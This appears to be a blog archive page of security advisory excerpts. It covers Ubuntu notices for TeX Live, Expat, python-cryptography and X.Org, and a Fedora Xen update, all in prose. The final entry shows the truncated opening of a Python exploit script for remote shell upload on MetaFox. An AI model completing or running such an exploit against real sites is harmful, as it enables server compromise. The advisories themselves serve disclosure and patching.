Category Archives: Advisories

USN-6695-1: TeX Live vulnerabilities

Read Time:48 Second

It was discovered that TeX Live incorrectly handled certain memory
operations in the embedded axodraw2 tool. An attacker could possibly use
this issue to cause TeX Live to crash, resulting in a denial of service.
This issue only affected Ubuntu 20.04 LTS. (CVE-2019-18604)

It was discovered that TeX Live allowed documents to make arbitrary
network requests. If a user or automated system were tricked into opening a
specially crafted document, a remote attacker could possibly use this issue
to exfiltrate sensitive information, or perform other network-related
attacks. This issue only affected Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS.
(CVE-2023-32668)

It was discovered that TeX Live incorrectly handled certain TrueType fonts.
If a user or automated system were tricked into opening a specially crafted
TrueType font, a remote attacker could use this issue to cause TeX Live to
crash, resulting in a denial of service, or possibly execute arbitrary
code. (CVE-2024-25262)

Read More

USN-6694-1: Expat vulnerabilities

Read Time:14 Second

It was discovered that Expat could be made to consume large amounts of
resources. If a user or automated system were tricked into processing
specially crafted input, an attacker could possibly use this issue to cause
a denial of service. (CVE-2023-52425, CVE-2024-28757)

Read More

USN-6673-2: python-cryptography vulnerability

Read Time:20 Second

USN-6673-1 provided a security update for python-cryptography.
This update provides the corresponding update for Ubuntu 16.04 LTS.

Original advisory details:

Hubert Kario discovered that python-cryptography incorrectly handled
errors returned by the OpenSSL API when processing incorrect padding in
RSA PKCS#1 v1.5. A remote attacker could possibly use this issue to expose
confidential or sensitive information. (CVE-2023-50782)

Read More

xen-4.18.0-7.fc40

Read Time:15 Second

FEDORA-2024-876e653a1c

Packages in this update:

xen-4.18.0-7.fc40

Update description:

x86: Register File Data Sampling [XSA-452, CVE-2023-28746]
GhostRace: Speculative Race Conditions [XSA-453, CVE-2024-2193]

x86: shadow stack vs exceptions from emulation stubs – [XSA-451,
CVE-2023-46841] (#2266326)

Read More

USN-6587-5: X.Org X Server vulnerabilities

Read Time:1 Minute, 33 Second

USN-6587-1 fixed several vulnerabilities in X.Org. This update provides
the corresponding update for Ubuntu 14.04 LTS.

Original advisory details:

Jan-Niklas Sohn discovered that the X.Org X Server incorrectly handled
memory when processing the RRChangeOutputProperty and
RRChangeProviderProperty APIs. An attacker could possibly use this issue to
cause the X Server to crash, or obtain sensitive information.
(CVE-2023-6478)

Jan-Niklas Sohn discovered that the X.Org X Server incorrectly handled
memory when processing the DeviceFocusEvent and ProcXIQueryPointer APIs. An
attacker could possibly use this issue to cause the X Server to crash,
obtain sensitive information, or execute arbitrary code. (CVE-2023-6816)

Jan-Niklas Sohn discovered that the X.Org X Server incorrectly handled
reattaching to a different master device. An attacker could use this issue
to cause the X Server to crash, leading to a denial of service, or possibly
execute arbitrary code. (CVE-2024-0229)

Olivier Fourdan and Donn Seeley discovered that the X.Org X Server
incorrectly labeled GLX PBuffers when used with SELinux. An attacker could
use this issue to cause the X Server to crash, leading to a denial of
service. (CVE-2024-0408)

Olivier Fourdan discovered that the X.Org X Server incorrectly handled
the curser code when used with SELinux. An attacker could use this issue to
cause the X Server to crash, leading to a denial of service.
(CVE-2024-0409)

Jan-Niklas Sohn discovered that the X.Org X Server incorrectly handled
memory when processing the XISendDeviceHierarchyEvent API. An attacker
could possibly use this issue to cause the X Server to crash, or execute
arbitrary code. (CVE-2024-21885)

Jan-Niklas Sohn discovered that the X.Org X Server incorrectly handled
devices being disabled. An attacker could possibly use this issue to cause
the X Server to crash, or execute arbitrary code. (CVE-2024-21886)

Read More

MetaFox Remote Shell Upload Exploit

Read Time:21 Second

Posted by j0ck1ng@tempr.email on Mar 13

#!/usr/bin/env python3# Exploit Title: MetaFox Remote Shell Upload# Google Dork: “Social network for niche
communities”# Exploit Author: The Joker# Vendor Homepage: https://www.phpfox.com# Version: <= 5.1.8import jsonimport
requestsimport sysif len(sys.argv) != 4:   sys.exit(“Usage: %s ” % sys.argv[0])   
requests.packages.urllib3.disable_warnings()endpoint = sys.argv[1] + “/api/v1/user/login”response =…

Read More